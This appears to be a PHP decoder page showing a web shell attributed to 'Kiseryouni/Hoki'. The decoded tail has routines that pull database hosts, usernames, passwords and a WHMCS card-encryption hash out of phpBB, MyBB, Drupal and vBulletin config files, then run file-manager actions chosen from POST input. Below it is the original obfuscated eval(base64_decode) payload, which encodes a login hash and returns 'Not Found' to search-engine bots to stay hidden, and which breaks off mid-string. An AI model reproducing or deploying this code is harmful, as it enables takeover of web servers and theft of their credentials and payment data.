'prefix'=>array("/\$dbprefix(\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/",3)
),
'phpbb'=>array('file'=>'/config.php',
'host'=>array("/dbhost(\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/",3),
'dbname'=>array("/dbname(\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/",3),
'dbuser'=>array("/dbuser(\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/",3),
'dbpw'=>array("/dbpasswd(\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/",3),
'prefix'=>array("/table_prefix(\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/",3)
),
'mybb'=>array('file'=>'/inc/config.php',
'host'=>array("/config\['database'\]\['hostname'\](\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/",3),
'dbname'=>array("/config\['database'\]\['database'\](\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/",3),
'dbuser'=>array("/config\['database'\]\['username'\](\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/",3),
'dbpw'=>array("/config\['database'\]\['password'\](\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/",3),
'prefix'=>array("/config\['database'\]\['table_prefix'\](\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/",3)
)
);
if($cms == "drupal"){
$file = $config[$cms]['file'];
$file=$path.$file;
if(@is_file($file)||_hoki_is_dir($file,"-e")){
}else{
$cms = 'drupal2';
}
}
if($cms == "vb"){
$file = $config[$cms]['file'];
$file=$path.$file;
if(@is_file($file)||_hoki_is_dir($file,"-e")){
}else{
$path .= '/core';
}
}
$data = array();
$srch_host = $config[$cms]['host'][0];
$srch_user = $config[$cms]['dbuser'][0];
$srch_name = $config[$cms]['dbname'][0];
$srch_pw = $config[$cms]['dbpw'][0];
$prefix = $config[$cms]['prefix'][0];
$file = $config[$cms]['file'];
$chost = $config[$cms]['host'][1];
$cuser = $config[$cms]['dbuser'][1];
$cname = $config[$cms]['dbname'][1];
$cpw = $config[$cms]['dbpw'][1];
$cprefix = $config[$cms]['prefix'][1];
if(@is_dir($path)||_hoki_is_dir($path)){
$file=$path.$file;
}elseif(@is_file($path)||_hoki_is_dir($path,"-e")){
$file=$path;
}else{
return false;
}
$file = __read_file($file);
if($cms == "drupal2"){
$file = preg_replace("/\@code(.*?)\@endcode/s", "", $file);
}elseif($cms == "vb"){
$file = preg_replace("/right of the(.*?)BAD!/s", "", $file);
}
if(preg_match($srch_host, $file, $mach)){
$data['host'] = $mach[$chost];
}
if(preg_match($srch_user, $file, $mach)){
$data['user'] = $mach[$cuser];
}
if(preg_match($srch_name, $file, $mach)){
$data['dbname'] = $mach[$cname];
}
if(preg_match($srch_pw, $file, $mach)){
$data['password'] = $mach[$cpw];
}
if(isset($prefix)){
if(preg_match($prefix, $file, $mach)){
$data['prefix'] = $mach[$cprefix];
}
}
if($cms=='whmcs'){
if(preg_match($config[$cms]['cc_encryption_hash'][0], $file, $mach)){
$data['cc_encryption_hash'] = $mach[3];
}
}
echo json_encode($data);
}
if(empty($_POST['a']))
if(isset($default_action) && function_exists('hoki' . $default_action))
$_POST['a'] = $default_action;
else
$_POST['a'] = 'FilesMan2';//'FilesMan';
if(!empty($_POST['a']) && function_exists('hoki' . $_POST['a']))
call_user_func('hoki' . $_POST['a']);
exit;
/*
#Indonesian Gulf For Ever
#telegram: kiseryouni
*/
Did this file decode correctly?
Original Code
<?php eVAL(base64_decode('LyoKCUF1dGhvcjogCUtpc2VyeW91bmkvSG9raTMwMwoJVGVsZWdyYW06IAlodHRwczovL3QubWUva2lzZXJ5b3VuaQoJR21haWw6CQlraXNlcnlvdW5pQGdtYWlsLmNvbQoJRGF0ZToJCU1vbmRheSwgSnVuZSAwMywgMjAyNAoqLwokR0xPQkFMU1snb1pnTnlwb1BSVSddID0gYXJyYXkoCiAgICAndXNlcm5hbWUnID0+ICcweE5peCcsCiAgICAncGFzc3dvcmQnID0+ICdlZWRkNGViNTRiMTIyOGI2MWU1NzVkMjAwNGMyMjQ2MycsLy9tZDUoZGVmYXVsdCA6IGhla2VybWFrbG8pCiAgICAnc2FmZV9tb2RlJyA9PiAnMScsCiAgICAnbG9naW5fcGFnZScgPT4gJzUwMCcsCiAgICAnc2hvd19pY29ucycgPT4gJzEnLAogICAgJ3Bvc3RfZW5jcnlwdGlvbicgPT4gdHJ1ZSwKICAgICdjZ2lfYXBpJyA9PiB0cnVlLAopOwoKJENXcHBVREp4dWYgPSAnZnUnIC4gJ24nIC4gJ2N0JyAuICdpb25fJyAuICdlJyAuICd4aXN0JyAuICdzJzsKJGF6dEp0YWZVWG0gPSAnY2hhJyAuICdyJyAuICdDJyAuICdvJyAuICdkJyAuICdlJyAuICdBJyAuICd0JyAuICcnOwokT1ZwR05xcUZacyA9ICdlJyAuICd2JyAuICdhbCc7CiRwc0RFd0doc3hnID0gJ2d6JyAuICdpbmYnIC4gJ2xhdGUnOwoKaWYgKCEkQ1dwcFVESnh1ZignYicgLiAnYScgLiAnc2U2NCcgLiAnX2VuJyAuICdjJyAuICdvZGUnIC4gJycpKQp7CiAgICBmdW5jdGlvbiB2Y252U0NaZ0J6KCRkYXRhKQogICAgewogICAgICAgIGlmIChlbXB0eSgkZGF0YSkpIHJldHVybjsKICAgICAgICAkYjY0ID0gJ0FCQ0RFRkdISUpLTE1OT1BRUlNUVVZXWFlaYWJjZGVmZ2hpamtsbW5vcHFyc3R1dnd4eXowMTIzNDU2Nzg5Ky89JzsKICAgICAgICAkbzEgPSAkbzIgPSAkbzMgPSAkaDEgPSAkaDIgPSAkaDMgPSAkaDQgPSAkYml0cyA9ICRpID0gMDsKICAgICAgICAkYWMgPSAwOwogICAgICAgICRlbmMgPSAnJzsKICAgICAgICAkdG1wX2FyciA9IGFycmF5KCk7CiAgICAgICAgaWYgKCEkZGF0YSkKICAgICAgICB7CiAgICAgICAgICAgIHJldHVybiAkZGF0YTsKICAgICAgICB9CiAgICAgICAgZG8KICAgICAgICB7CiAgICAgICAgICAgICRvMSA9ICRhenRKdGFmVVhtKCRkYXRhLCAkaSsrKTsKICAgICAgICAgICAgJG8yID0gJGF6dEp0YWZVWG0oJGRhdGEsICRpKyspOwogICAgICAgICAgICAkbzMgPSAkYXp0SnRhZlVYbSgkZGF0YSwgJGkrKyk7CiAgICAgICAgICAgICRiaXRzID0gJG8xIDw8IDE2IHwgJG8yIDw8IDggfCAkbzM7CiAgICAgICAgICAgICRoMSA9ICRiaXRzID4+IDE4ICYgMHgzZjsKICAgICAgICAgICAgJGgyID0gJGJpdHMgPj4gMTIgJiAweDNmOwogICAgICAgICAgICAkaDMgPSAkYml0cyA+PiA2ICYgMHgzZjsKICAgICAgICAgICAgJGg0ID0gJGJpdHMgJiAweDNmOwogICAgICAgICAgICAkdG1wX2FyclskYWMrK10gPSBjaGFyQXQoJGI2NCwgJGgxKSAuIGNoYXJBdCgkYjY0LCAkaDIpIC4gY2hhckF0KCRiNjQsICRoMykgLiBjaGFyQXQoJGI2NCwgJGg0KTsKICAgICAgICB9CiAgICAgICAgd2hpbGUgKCRpIDwgc3RybGVuKCRkYXRhKSk7CiAgICAgICAgJGVuYyA9IGltcGxvZGUoJHRtcF9hcnIsICcnKTsKICAgICAgICAkciA9IChzdHJsZW4oJGRhdGEpICUgMyk7CiAgICAgICAgcmV0dXJuICgkciA/IHN1YnN0cigkZW5jLCAwLCAoJHIgLSAzKSkgOiAkZW5jKSAuIHN1YnN0cignPT09JywgKCRyIHx8IDMpKTsKICAgIH0KICAgIGZ1bmN0aW9uIGNoYXJDb2RlQXQoJGRhdGEsICRjaGFyKQogICAgewogICAgICAgIHJldHVybiBvcmQoc3Vic3RyKCRkYXRhLCAkY2hhciwgMSkpOwogICAgfQogICAgZnVuY3Rpb24gY2hhckF0KCRkYXRhLCAkY2hhcikKICAgIHsKICAgICAgICByZXR1cm4gc3Vic3RyKCRkYXRhLCAkY2hhciwgMSk7CiAgICB9Cn0KZWxzZQp7CiAgICBmdW5jdGlvbiB2Y252U0NaZ0J6KCRzKQogICAgewogICAgICAgICRiID0gJ2InIC4gJ2EnIC4gJ3NlNjQnIC4gJ19lbicgLiAnYycgLiAnb2RlJyAuICcnOwogICAgICAgIHJldHVybiAkYigkcyk7CiAgICB9Cn0KaWYgKCEkQ1dwcFVESnh1ZignYicgLiAnYScgLiAnc2UnIC4gJzYnIC4gJzQnIC4gJ19kJyAuICdlY29kJyAuICdlJyAuICcnKSkKewogICAgZnVuY3Rpb24gelJ0U0hzYlR6VigkaW5wdXQpCiAgICB7CiAgICAgICAgaWYgKGVtcHR5KCRpbnB1dCkpIHJldHVybjsKICAgICAgICAka2V5U3RyID0gIkFCQ0RFRkdISUpLTE1OT1BRUlNUVVZXWFlaYWJjZGVmZ2hpamtsbW5vcHFyc3R1dnd4eXowMTIzNDU2Nzg5Ky89IjsKICAgICAgICAkY2hyMSA9ICRjaHIyID0gJGNocjMgPSAiIjsKICAgICAgICAkZW5jMSA9ICRlbmMyID0gJGVuYzMgPSAkZW5jNCA9ICIiOwogICAgICAgICRpID0gMDsKICAgICAgICAkb3V0cHV0ID0gIiI7CiAgICAgICAgJGlucHV0ID0gcHJlZ19yZXBsYWNlKCJbXkEtWmEtejAtOVwrXC9cPV0iLCAiIiwgJGlucHV0KTsKICAgICAgICBkbwogICAgICAgIHsKICAgICAgICAgICAgJGVuYzEgPSBzdHJwb3MoJGtleVN0ciwgc3Vic3RyKCRpbnB1dCwgJGkrKywgMSkpOwogICAgICAgICAgICAkZW5jMiA9IHN0cnBvcygka2V5U3RyLCBzdWJzdHIoJGlucHV0LCAkaSsrLCAxKSk7CiAgICAgICAgICAgICRlbmMzID0gc3RycG9zKCRrZXlTdHIsIHN1YnN0cigkaW5wdXQsICRpKyssIDEpKTsKICAgICAgICAgICAgJGVuYzQgPSBzdHJwb3MoJGtleVN0ciwgc3Vic3RyKCRpbnB1dCwgJGkrKywgMSkpOwogICAgICAgICAgICAkY2hyMSA9ICgkZW5jMSA8PCAyKSB8ICgkZW5jMiA+PiA0KTsKICAgICAgICAgICAgJGNocjIgPSAoKCRlbmMyICYgMTUpIDw8IDQpIHwgKCRlbmMzID4+IDIpOwogICAgICAgICAgICAkY2hyMyA9ICgoJGVuYzMgJiAzKSA8PCA2KSB8ICRlbmM0OwogICAgICAgICAgICAkb3V0cHV0ID0gJG91dHB1dCAuIGNocigoaW50KSRjaHIxKTsKICAgICAgICAgICAgaWYgKCRlbmMzICE9IDY0KQogICAgICAgICAgICB7CiAgICAgICAgICAgICAgICAkb3V0cHV0ID0gJG91dHB1dCAuIGNocigoaW50KSRjaHIyKTsKICAgICAgICAgICAgfQogICAgICAgICAgICBpZiAoJGVuYzQgIT0gNjQpCiAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgICRvdXRwdXQgPSAkb3V0cHV0IC4gY2hyKChpbnQpJGNocjMpOwogICAgICAgICAgICB9CiAgICAgICAgICAgICRjaHIxID0gJGNocjIgPSAkY2hyMyA9ICIiOwogICAgICAgICAgICAkZW5jMSA9ICRlbmMyID0gJGVuYzMgPSAkZW5jNCA9ICIiOwogICAgICAgIH0KICAgICAgICB3aGlsZSAoJGkgPCBzdHJsZW4oJGlucHV0KSk7CiAgICAgICAgcmV0dXJuICRvdXRwdXQ7CiAgICB9Cn0KZWxzZQp7CiAgICBmdW5jdGlvbiB6UnRTSHNiVHpWKCRzKQogICAgewogICAgICAgICRiID0gJ2InIC4gJ2EnIC4gJ3NlJyAuICc2JyAuICc0JyAuICdfZCcgLiAnZWNvZCcgLiAnZScgLiAnJzsKICAgICAgICByZXR1cm4gJGIoJHMpOwogICAgfQp9CgpmdW5jdGlvbiBfX1pXNWpiMlJsY2coJHMpCnsKICAgIHJldHVybiB2Y252U0NaZ0J6KCRzKTsKfQpmdW5jdGlvbiBfX1pHVmpiMlJsY2coJHMpCnsKICAgIHJldHVybiB6UnRTSHNiVHpWKCRzKTsKfQoKJEdMT0JBTFNbJ0RCX05BTUUnXSA9ICRHTE9CQUxTWydvWmdOeXBvUFJVJ107Cgpmb3JlYWNoICgkR0xPQkFMU1snREJfTkFNRSddIGFzICRrZXkgPT4gJHZhbHVlKQp7CgkkcHJlZml4ID0gc3Vic3RyKCRrZXksIDAsIDIpOwoJaWYgKCRwcmVmaXggPT0gInVzIikKCXsKCQkkR0xPQkFMU1snREJfTkFNRSddWyJ1c2VyIl0gPSAkdmFsdWU7CgkJJEdMT0JBTFNbJ0RCX05BTUUnXVsidXNlcl9yYW5kIl0gPSAka2V5OwoJfQoJZWxzZWlmICgkcHJlZml4ID09ICJwYSIpCgl7CgkJJEdMT0JBTFNbJ0RCX05BTUUnXVsicGFzcyJdID0gJHZhbHVlOwoJCSRHTE9CQUxTWydEQl9OQU1FJ11bInBhc3NfcmFuZCJdID0gJGtleTsKCX0KCWVsc2VpZiAoJHByZWZpeCA9PSAic2EiKQoJewoJCSRHTE9CQUxTWydEQl9OQU1FJ11bInNhZmVtb2RlIl0gPSAkdmFsdWU7CgkJJEdMT0JBTFNbJ0RCX05BTUUnXVsic2FmZW1vZGVfcmFuZCJdID0gJGtleTsKCX0KCWVsc2VpZiAoJHByZWZpeCA9PSAibG8iKQoJewoJCSRHTE9CQUxTWydEQl9OQU1FJ11bImxvZ2luX3BhZ2UiXSA9ICR2YWx1ZTsKCQkkR0xPQkFMU1snREJfTkFNRSddWyJsb2dpbl9wYWdlX3JhbmQiXSA9ICRrZXk7Cgl9CgllbHNlaWYgKCRwcmVmaXggPT0gInNoIikKCXsKCQkkR0xPQkFMU1snREJfTkFNRSddWyJzaG93X2ljb25zIl0gPSAkdmFsdWU7CgkJJEdMT0JBTFNbJ0RCX05BTUUnXVsic2hvd19pY29uc19yYW5kIl0gPSAka2V5OwoJfQoJZWxzZWlmICgkcHJlZml4ID09ICJwbyIpCgl7CgkJJEdMT0JBTFNbJ0RCX05BTUUnXVsicG9zdF9lbmNyeXB0aW9uIl0gPSAkdmFsdWU7CgkJJEdMT0JBTFNbJ0RCX05BTUUnXVsicG9zdF9lbmNyeXB0aW9uX3JhbmQiXSA9ICRrZXk7Cgl9CgllbHNlaWYgKCRwcmVmaXggPT0gImNnIikKCXsKCQkkR0xPQkFMU1snREJfTkFNRSddWyJjZ2lfYXBpIl0gPSAkdmFsdWU7CgkJJEdMT0JBTFNbJ0RCX05BTUUnXVsiY2dpX2FwaV9yYW5kIl0gPSAka2V5OwoJfQp9Cgp1bnNldCgkR0xPQkFMU1snb1pnTnlwb1BSVSddKTsKCmlmICghaXNzZXQoJF9TRVJWRVJbIkhUVFBfSE9TVCJdKSkgZXhpdCgpOwoKaWYoIWVtcHR5KCRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXSkpeyR1c2VyQWdlbnRzID0gYXJyYXkoIkdvb2dsZSIsIlNsdXJwIiwiTVNOQm90IiwiaWFfYXJjaGl2ZXIiLCJZYW5kZXgiLCJSYW1ibGVyIiwiYm90Iiwic3BpZGVyIik7aWYocHJlZ19tYXRjaCgnLycuaW1wbG9kZSgnfCcsJHVzZXJBZ2VudHMpLicvaScsJF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddKSl7aGVhZGVyKCdIVFRQLzEuMCA0MDQgTm90IEZvdW5kJyk7ZXhpdDt9fQppZighaXNzZXQoJEdMT0JBTFNbJ0RCX05BTUUnXVsndXNlciddKSlleGl0KCckR0xPQkFMU1tcJ0RCX05BTUVcJ11bXCd1c2VyXCddJyk7CmlmKCFpc3NldCgkR0xPQkFMU1snREJfTkFNRSddWydwYXNzJ10pKWV4aXQoJyRHTE9CQUxTW1wnREJfTkFNRVwnXVtcJ3Bhc3NcJ10nKTsKaWYoIWlzc2V0KCRHTE9CQUxTWydEQl9OQU1FJ11bJ3NhZmVtb2RlJ10pKWV4aXQoJyRHTE9CQUxTW1wnREJfTkFNRVwnXVtcJ3NhZmVtb2RlXCddJyk7CmlmKCFpc3NldCgkR0xPQkFMU1snREJfTkFNRSddWydsb2dpbl9wYWdlJ10pKWV4aXQoJyRHTE9CQUxTW1wnREJfTkFNRVwnXVtcJ2xvZ2luX3BhZ2VcJ10nKTsKaWYoIWlzc2V0KCRHTE9CQUxTWydEQl9OQU1FJ11bJ3Nob3dfaWNvbnMnXSkpZXhpdCgnJEdMT0JBTFNbXCdEQl9OQU1FXCddW1wnc2hvd19pY29uc1wnXScpOwppZighaXNzZXQoJEdMT0JBTFNbJ0RCX05BTUUnXVsncG9zdF9lbmNyeXB0aW9uJ10pKWV4aXQoJyRHTE9CQUxTW1wnREJfTkFNRVwnXVtcJ3Bvc3RfZW5jcnlwdGlvblwnXScpOwpkZWZpbmUoIl9fSE9LSV9WRVJTSU9OX18iLCAiNC4xIik7CmRlZmluZSgiX19IT0tJX1VQREFURV9fIiwgIjIiKTsKZGVmaW5lKCJfX0hPS0lfQ09ERV9OQU1FX18iLCAiS2lzZXJ5b3VuaSIpOwpkZWZpbmUoIl9fSE9LSV9EQVRBX0ZPTERFUl9fIiwgIkhPS0lfREFUQSIpOwpkZWZpbmUoIl9fSE9LSV9QT1NUX0VOQ1JZUFRJT05fXyIsIChpc3NldCgkR0xPQkFMU1siREJfTkFNRSJdWyJwb3N0X2VuY3J5cHRpb24iXSkmJiRHTE9CQUxTWyJEQl9OQU1FIl1bInBvc3RfZW5jcnlwdGlvbiJdPT10cnVlP3RydWU6ZmFsc2UpKTsKZGVmaW5lKCJfX0hPS0lfU0VDUkVUX0tFWV9fIiwgX19IT0tJX1BPU1RfRU5DUllQVElPTl9fP19Ib2tpU2VjcmV0S2V5KCk6JycpOwokR0xPQkFMU1snX19IT0tJX0NPTE9SX18nXSA9IGFycmF5KAoJCSJzaGVsbF9ib3JkZXIiID0+IGFycmF5KAoJCQkia2V5X2NvbG9yIiA9PiAiIzBFMzA0QSIsCgkJCSJtdWx0aV9zZWxlY3RvciIgPT4gYXJyYXkoCgkJCQkiLmhlYWRlciIgPT4gImJvcmRlcjogN3B4IHNvbGlkIHtjb2xvcn0iLAoJCQkJIiNtZXVubGlzdCIgPT4gImJvcmRlci1jb2xvcjoge2NvbG9yfSIsCgkJCQkiI2hpZGRlbl9zaCIgPT4gImJhY2tncm91bmQtY29sb3I6IHtjb2xvcn0iLAoJCQkJIi5hamF4YXJlYSIgPT4gImJvcmRlcjogMXB4IHNvbGlkIHtjb2xvcn0iLAoJCQkJIi5mb290IiA9PiAiYm9yZGVyLWNvbG9yOiB7Y29sb3J9IiwKCQkJKQoJCSksCgkJImhlYWRlcl92YXJzIiA9PiAiIzI3OTc5QiIsCgkJImhlYWRlcl92YWx1ZXMiID0+ICIjNjdBQkRGIiwKCQkiaGVhZGVyX29uIiA9PiAiIzAwRkYwMCIsCgkJImhlYWRlcl9vZmYiID0+ICIjZmYwMDAwIiwKCQkiaGVhZGVyX25vbmUiID0+ICIjMDBGRjAwIiwKCQkiaG9tZV9zaGVsbCIgPT4gIiNmZjAwMDAiLAoJCSJob21lX3NoZWxsOmhvdmVyIiA9PiBhcnJheSgKCQkJImtleV9jb2xvciIgPT4gIiNGRkZGRkYiLAoJCQkibXVsdGlfc2VsZWN0b3IiID0+IGFycmF5KAoJCQkJIi5ob21lX3NoZWxsOmhvdmVyIiA9PiAiY29sb3I6IHtjb2xvcn07IiwKCQkJKQoJCSksCgkJImJhY2tfc2hlbGwiID0+ICIjZWZiZTczIiwKCQkiYmFja19zaGVsbDpob3ZlciIgPT4gYXJyYXkoCgkJCSJrZXlfY29sb3IiID0+ICIjRkZGRkZGIiwKCQkJIm11bHRpX3NlbGVjdG9yIiA9PiBhcnJheSgKCQkJCSIuYmFja19zaGVsbDpob3ZlciIgPT4gImNvbG9yOiB7Y29sb3J9OyIsCgkJCSkKCQkpLAoJCSJoZWFkZXJfcHdkIiA9PiAiIzAwRkYwMCIsCgkJImhlYWRlcl9wd2Q6aG92ZXIiID0+IGFycmF5KAoJCQkia2V5X2NvbG9yIiA9PiAiI0ZGRkZGRiIsCgkJCSJtdWx0aV9zZWxlY3RvciIgPT4gYXJyYXkoCgkJCQkiLmhlYWRlcl9wd2Q6aG92ZXIiID0+ICJjb2xvcjoge2NvbG9yfTsiLAoJCQkpCgkJKSwKCQkiaGVhZGVyX2RyaXZlIiA9PiAiIzAwRkYwMCIsCgkJImhlYWRlcl9kcml2ZTpob3ZlciIgPT4gYXJyYXkoCgkJCSJrZXlfY29sb3IiID0+ICIjRkZGRkZGIiwKCQkJIm11bHRpX3NlbGVjdG9yIiA9PiBhcnJheSgKCQkJCSIuaGVhZGVyX2RyaXZlOmhvdmVyIiA9PiAiY29sb3I6IHtjb2xvcn07IiwKCQkJKQoJCSksCgkJImhlYWRlcl9zaG93X2FsbCIgPT4gIiMwMEZGMDAiLAoJCSJkaXNhYmxlX2Z1bmN0aW9ucyIgPT4gIiNmZjAwMDAiLAoJCSJmb290ZXJfdGV4dCIgPT4gIiMyNzk3OUIiLAoJCSJtZW51X29wdGlvbnMiID0+ICIjMjc5NzlCIiwKCQkibWVudV9vcHRpb25zOmhvdmVyIiA9PiBhcnJheSgKCQkJImtleV9jb2xvciIgPT4gIiM2NDY0NjQiLAoJCQkibXVsdGlfc2VsZWN0b3IiID0+IGFycmF5KAoJCQkJIi5tZW51X29wdGlvbnM6aG92ZXIiID0+ICJiYWNrZ3JvdW5kLWNvbG9yOiB7Y29sb3J9O2ZvbnQtd2VpZ2h0OiB1bnNldDsiLAoJCQkpCgkJKSwKCQkib3B0aW9uc19saXN0IiA9PiBhcnJheSgKCQkJImtleV9jb2xvciIgPT4gIiMwMEZGMDAiLAoJCQkibXVsdGlfc2VsZWN0b3IiID0+IGFycmF5KAoJCQkJIi5jb250ZW50X29wdGlvbnNfaG9sZGVyIC5oZWFkZXIgY2VudGVyIGEiID0+ICJjb2xvcjoge2NvbG9yfTsiLAoJCQkpCgkJKSwKCQkib3B0aW9uc19saXN0OmhvdmVyIiA9PiBhcnJheSgKCQkJImtleV9jb2xvciIgPT4gIiNGRkZGRkYiLAoJCQkibXVsdGlfc2VsZWN0b3IiID0+IGFycmF5KAoJCQkJIi5jb250ZW50X29wdGlvbnNfaG9sZGVyIC5oZWFkZXIgY2VudGVyIGE6aG92ZXIiID0+ICJjb2xvcjoge2NvbG9yfTsiLAoJCQkpCgkJKSwKCQkib3B0aW9uc19saXN0X2hlYWRlciIgPT4gYXJyYXkoCgkJCSJrZXlfY29sb3IiID0+ICIjNTljYzMzIiwKCQkJIm11bHRpX3NlbGVjdG9yIiA9PiBhcnJheSgKCQkJCSIudHh0Zm9udF9oZWFkZXIiID0+ICJjb2xvcjoge2NvbG9yfTsiLAoJCQkpCgkJKSwKCQkib3B0aW9uc19saXN0X3RleHQiID0+IGFycmF5KAoJCQkia2V5X2NvbG9yIiA9PiAiI0ZGRkZGRiIsCgkJCSJtdWx0aV9zZWxlY3RvciIgPT4gYXJyYXkoCgkJCQkiLnR4dGZvbnQsLnRibHR4dCIgPT4gImNvbG9yOiB7Y29sb3J9OyIsCgkJCSkKCQkpLAoJCSJIb2tpKyIgPT4gYXJyYXkoCgkJCSJrZXlfY29sb3IiID0+ICIjMDZmZjBmIiwKCQkJIm11bHRpX3NlbGVjdG9yIiA9PiBhcnJheSgKCQkJCSIuaG9raV9wbHVzIiA9PiAiY29sb3I6IHtjb2xvcn07Zm9udC13ZWlnaHQ6IHVuc2V0OyIsCgkJCSkKCQkpLAoJCSJoaWRkZW5fc2hlbGxfdGV4dCIgPT4gYXJyYXkoCgkJCSJrZXlfY29sb3IiID0+ICIjMDBGRjAwIiwKCQkJIm11bHRpX3NlbGVjdG9yIiA9PiBhcnJheSgKCQkJCSIjaGlkZGVuX3NoIGEiID0+ICJjb2xvcjoge2NvbG9yfTsiLAoJCQkpCgkJKSwKCQkiaGlkZGVuX3NoZWxsX3ZlcnNpb24iID0+ICIjZmYwMDAwIiwKCQkic2hlbGxfbmFtZSIgPT4gIiNGRjAwMDAiLAoJCSJtYWluX3Jvdzpob3ZlciIgPT4gYXJyYXkoCgkJCSJrZXlfY29sb3IiID0+ICIjNjQ2NDY0IiwKCQkJIm11bHRpX3NlbGVjdG9yIiA9PiBhcnJheSgKCQkJCSIubWFpbiB0cjpob3ZlciIgPT4gImJhY2tncm91bmQtY29sb3I6IHtjb2xvcn07IiwKCQkJKQoJCSksCgkJIm1haW5faGVhZGVyIiA9PiBhcnJheSgKCQkJImtleV9jb2xvciIgPT4gIiNGRkZGRkYiLAoJCQkibXVsdGlfc2VsZWN0b3IiID0+IGFycmF5KAoJCQkJIi5tYWluIHRoIiA9PiAiY29sb3I6IHtjb2xvcn07IiwKCQkJKQoJCSksCgkJIm1haW5fbmFtZSIgPT4gYXJyYXkoCgkJCSJrZXlfY29sb3IiID0+ICIjRkZGRkZGIiwKCQkJIm11bHRpX3NlbGVjdG9yIiA9PiBhcnJheSgKCQkJCSIubWFpbiAubWFpbl9uYW1lIiA9PiAiY29sb3I6IHtjb2xvcn07Zm9udC13ZWlnaHQ6IHVuc2V0OyIsCgkJCSkKCQkpLAoJCSJtYWluX3NpemUiID0+ICIjNjdBQkRGIiwKCQkibWFpbl9tb2RpZnkiID0+ICIjNjdBQkRGIiwKCQkibWFpbl9vd25lcl9ncm91cCIgPT4gIiM2N0FCREYiLAoJCSJtYWluX2dyZWVuX3Blcm0iID0+ICIjMjVmZjAwIiwKCQkibWFpbl9yZWRfcGVybSIgPT4gIiNGRjAwMDAiLAoJCSJtYWluX3doaXRlX3Blcm0iID0+ICIjRkZGRkZGIiwKCQkiYmVldHdlZW5fcGVybXMiID0+ICIjRkZGRkZGIiwKCQkibWFpbl9hY3Rpb25zIiA9PiBhcnJheSgKCQkJImtleV9jb2xvciIgPT4gIiNGRkZGRkYiLAoJCQkibXVsdGlfc2VsZWN0b3IiID0+IGFycmF5KAoJCQkJIi5tYWluIC5hY3Rpb25zIiA9PiAiY29sb3I6IHtjb2xvcn07IiwKCQkJKQoJCSksCgkJIm1lbnVfb3B0aW9uczpob3ZlciIgPT4gYXJyYXkoCgkJCSJrZXlfY29sb3IiID0+ICIjNjQ2NDY0IiwKCQkJIm11bHRpX3NlbGVjdG9yIiA9PiBhcnJheSgKCQkJCSIubWVudV9vcHRpb25zOmhvdmVyIiA9PiAiYmFja2dyb3VuZC1jb2xvcjoge2NvbG9yfTtmb250LXdlaWdodDogdW5zZXQ7IiwKCQkJKQoJCSksCgkJIm1pbmltaXplX2VkaXRvcl9iYWNrZ3JvdW5kIiA9PiBhcnJheSgKCQkJImtleV9jb2xvciIgPT4gIiMwZTMwNGEiLAoJCQkibXVsdGlfc2VsZWN0b3IiID0+IGFycmF5KAoJCQkJIi5taW5pbWl6ZWQtd3JhcHBlciIgPT4gImJhY2tncm91bmQtY29sb3I6IHtjb2xvcn07IiwKCQkJKQoJCSksCgkJIm1pbmltaXplX2VkaXRvcl90ZXh0IiA9PiBhcnJheSgKCQkJImtleV9jb2xvciIgPT4gIiNmNWRlYjMiLAoJCQkibXVsdGlfc2VsZWN0b3IiID0+IGFycmF5KAoJCQkJIi5taW5pbWl6ZWQtdGV4dCIgPT4gImNvbG9yOiB7Y29sb3J9OyIsCgkJCSkKCQkpLAoJCSJlZGl0b3JfYm9yZGVyIiA9PiBhcnJheSgKCQkJImtleV9jb2xvciIgPT4gIiMwZTMwNGEiLAoJCQkibXVsdGlfc2VsZWN0b3IiID0+IGFycmF5KAoJCQkJIi5lZGl0b3ItZXhwbG9yZXIsLmVkaXRvci1tb2RhbCIgPT4gImJvcmRlcjogMnB4IHNvbGlkIHtjb2xvcn07IiwKCQkJKQoJCSksCgkJImVkaXRvcl9iYWNrZ3JvdW5kIiA9PiBhcnJheSgKCQkJImtleV9jb2xvciIgPT4gInJnYmEoMCwgMSwgMjMsIDAuOTQpIiwKCQkJIm11bHRpX3NlbGVjdG9yIiA9PiBhcnJheSgKCQkJCSIuZWRpdG9yLWV4cGxvcmVyLC5lZGl0b3ItbW9kYWwiID0+ICJiYWNrZ3JvdW5kLWNvbG9yOiB7Y29sb3J9OyIsCgkJCSkKCQkpLAoJCSJlZGl0b3JfaGVhZGVyX2JhY2tncm91bmQiID0+IGFycmF5KAoJCQkia2V5X2NvbG9yIiA9PiAicmdiYSgyMSwgNjYsIDg4LCAwLjkzKSIsCgkJCSJtdWx0aV9zZWxlY3RvciIgPT4gYXJyYXkoCgkJCQkiLmVkaXRvci1oZWFkZXIiID0+ICJiYWNrZ3JvdW5kLWNvbG9yOiB7Y29sb3J9OyIsCgkJCSkKCQkpLAoJCSJlZGl0b3JfaGVhZGVyX3RleHQiID0+IGFycmF5KAoJCQkia2V5X2NvbG9yIiA9PiAiIzAwZmY3ZiIsCgkJCSJtdWx0aV9zZWxlY3RvciIgPT4gYXJyYXkoCgkJCQkiLmVkaXRvci1wYXRoIiA9PiAiY29sb3I6IHtjb2xvcn07IiwKCQkJKQoJCSksCgkJImVkaXRvcl9oZWFkZXJfYnV0dG9uIiA9PiBhcnJheSgKCQkJImtleV9jb2xvciIgPT4gIiMxZDU2NzMiLAoJCQkibXVsdGlfc2VsZWN0b3IiID0+IGFycmF5KAoJCQkJIi5jbG9zZS1idXR0b24sIC5lZGl0b3ItbWluaW1pemUiID0+ICJiYWNrZ3JvdW5kLWNvbG9yOiB7Y29sb3J9OyIsCgkJCSkKCQkpLAoJCSJlZGl0b3JfYWN0aW9ucyIgPT4gYXJyYXkoCgkJCSJrZXlfY29sb3IiID0+ICIjRkZGRkZGIiwKCQkJIm11bHRpX3NlbGVjdG9yIiA9PiBhcnJheSgKCQkJCSIuZWRpdG9yX2FjdGlvbnMiID0+ICJjb2xvcjoge2NvbG9yfTsiLAoJCQkpCgkJKSwKCQkiZWRpdG9yX2ZpbGVfa